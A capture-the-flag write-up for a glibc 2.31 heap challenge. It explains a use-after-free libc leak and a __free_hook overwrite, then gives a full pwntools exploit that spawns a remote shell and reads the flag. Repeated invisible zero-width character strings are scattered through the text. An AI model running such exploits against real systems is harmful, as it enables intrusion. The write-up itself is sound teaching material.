← Back to Writeups
CUSTOMEasypwn

Mic Check: leak and write (mc2)

XESXOR9/2/20264 min read
#pwn#custom#easy#arbitrary_write_what_where#free_hook_overwrite#system_binsh#unsorted_bin_libc_leak#linux

Mic Check: leak and write (mc2)

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: arbitrary_write_what_where, free_hook_overwrite, system_binsh, unsorted_bin_libc_leak

Summary

Task: glibc 2.31 menu-driven heap allocator (mc2) with UAF (delete doesn't clear slot), a puts-based leak primitive, and a raw write-what-where option. Solution: unsorted-bin libc leak from a freed large chunk with a guard, then use the arbitrary write to set __free_hook = system, and free('/bin/sh') to pop a shell.

Mic Check: leak and write (mc2) — spbctf

Description

Mic Check — "leak and write" — pwn, easy. Heap challenge, glibc 2.31. nc 109.233.56.90 11801 Files: mc2.elf, libc.so (glibc 2.31-0ubuntu9.1)

Menu-driven heap allocator with a global array[10] pointer table. Unlike the sibling challenges (mc4, mc5) that require tcache poisoning, mc2 hands you a raw arbitrary write directly in the menu, so no fancy heap primitive is needed — leak libc, overwrite __free_hook, trigger.

Related writeups (same "Mic Check" family): 20260418_spbctf_pwn9_mc4, 20260418_spbctf_pwn9_mc5. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Binary

  • mc2.elf — ELF 64-bit, x86-64, PIE. Protections: Full RELRO, canary, NX, PIE (SHSTK/IBT enabled but irrelevant here).
  • libc.so — glibc 2.31 (Ubuntu 2.31-0ubuntu9.1) — __malloc_hook and __free_hook are still present and writable.

Analysis

The menu lives in logic @ 0x1720 (scanf("%d") for the choice). The four options give exactly the primitives needed:

  1. allocate — scanf size (%d, 1..0x7ff), malloc(size), read_n(buf, size) reads a name until newline (NUL-terminates). The chunk pointer is auto-stored into the next free slot of the global array[0..9].
  2. print — scanf index (<=9), puts(array[idx]) → leak primitive. No NULL/validity check, so it works on freed chunks (UAF read).
  3. delete — scanf index (<=9), free(array[idx]) — slot NOT cleared, so the pointer dangles (UAF). This lets print read a freed chunk.
  4. write ("write what where?") — scanf address (%llx), scanf value (%llx), then inline mov [addr], value @ 0x17bc (mirrors the www function @ 0x1680) → arbitrary write-what-where primitive. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full RELRO rules out GOT overwrite, but glibc 2.31 still has __free_hook, so the clean path is: leak libc, __free_hook = system, then free("/bin/sh").

Solution

Phase 1 — libc leak via unsorted bin

  • allocate(1400) → chunk size 0x590 > tcache max 0x410, so free routes it to the unsorted bin (not tcache). Stored at idx 0.
  • allocate(24) GUARD at idx 1 — prevents the big chunk from consolidating with the top chunk on free.
  • delete(0) → big chunk lands in the unsorted bin; its fd = bk = main_arena + 96.
  • print(0) → puts leaks the main_arena + 96 pointer.
  • libc_base = leak - (__malloc_hook + 0x10 + 0x60) = leak - 0x1ebbe0. Assert page alignment. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Gotcha: freeing a single large chunk (with a guard) gives fd = bk = main_arena+96 directly, so printing the first-freed chunk yields the libc leak. If two large chunks were freed, the first-freed chunk's fd would point at the second (a heap pointer), so you would need to print the correct index.

Phase 2 — overwrite __free_hook

  • Use option 4 (arbitrary write) to set [__free_hook] = system.

Phase 3 — trigger the shell

  • allocate(24) with the name "/bin/sh\0" at idx 2.
  • delete(2) → free(chunk) invokes __free_hook(chunk) = system("/bin/sh") → shell.
  • cat flag.txt → spbctf{REDACTED}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key libc offsets (glibc 2.31)

SymbolOffset
__malloc_hook0x1ebb70
__free_hook0x1eeb28
system0x55410
main_arena leak adjustment (__malloc_hook + 0x10 + 0x60)0x1ebbe0

Full exploit

python
#!/usr/bin/env python3
from pwn import *
libc = ELF('./libc.so')
HOST, PORT = '109.233.56.90', 11801

def menu(io, c):
    io.sendlineafter(b'where?', str(c).encode())

def allocate(io, size, name):
    menu(io, 1)
    io.sendlineafter(b'Size?', str(size).encode())
    io.sendafter(b'enter name:', name)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def delete(io, idx):
    menu(io, 3)
    io.sendlineafter(b'Index?', str(idx).encode())

def printname(io, idx):
    menu(io, 2)
    io.sendlineafter(b'Index?', str(idx).encode())
    io.recvuntil(b'\n')
    return io.recvuntil(b'Choose:', drop=True)

def write(io, addr, value):
    menu(io, 4)
    io.sendlineafter(b'enter address in hex:', hex(addr)[2:].encode())
    io.sendlineafter(b'enter value in hex:', hex(value)[2:].encode())

io = remote(HOST, PORT)

# Phase 1: unsorted-bin libc leak
allocate(io, 1400, b'AAAAAAAA\n')   # idx0 - big chunk (0x590 > tcache max)
allocate(io, 24, b'GUARD\n')        # idx1 - guard against top consolidation
delete(io, 0)                       # -> unsorted bin, fd=bk=main_arena+96
leak = u64(printname(io, 0).rstrip(b'\n').ljust(8, b'\x00'))
libc.address = leak - (libc.sym['__malloc_hook'] + 0x10 + 0x60)
assert libc.address & 0xfff == 0
log.success(f'libc base: {hex(libc.address)}')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Phase 2: arbitrary write __free_hook = system
write(io, libc.sym['__free_hook'], libc.sym['system'])

# Phase 3: trigger
allocate(io, 24, b'/bin/sh\x00\n')  # idx2
delete(io, 2)                       # free("/bin/sh") -> system("/bin/sh")

io.sendline(b'cat flag.txt')
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍